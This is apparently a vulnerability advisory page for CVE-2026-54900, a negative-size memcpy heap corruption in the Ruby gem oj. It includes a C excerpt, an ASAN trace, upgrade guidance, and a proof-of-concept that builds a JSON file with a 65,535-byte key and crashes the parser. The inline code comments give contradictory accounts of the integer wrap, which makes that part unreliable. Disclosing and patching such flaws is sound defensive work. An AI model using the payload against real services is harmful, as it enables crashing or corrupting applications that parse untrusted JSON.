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CVE-2026-54900 — oj

CVE-2026-54900 is a CWE-190 vulnerability in oj. A fix is available for oj — see the affected versions and patch details below.

Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54900.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.32%0.63%0.95%0.3%0.3%0.4%0.4%0.4%Jul 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
💎oj

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemsojall versions3.17.3bundle update oj --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oj, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update oj to 3.17.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54900 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary `Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/usual.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/usual.c`, `form
O3 Security · Impact-Aware SCA

Is CVE-2026-54900 in your dependencies?

Find it across RubyGems, including transitive dependencies.

CVE-2026-54900: oj — Fixed in 3.17.3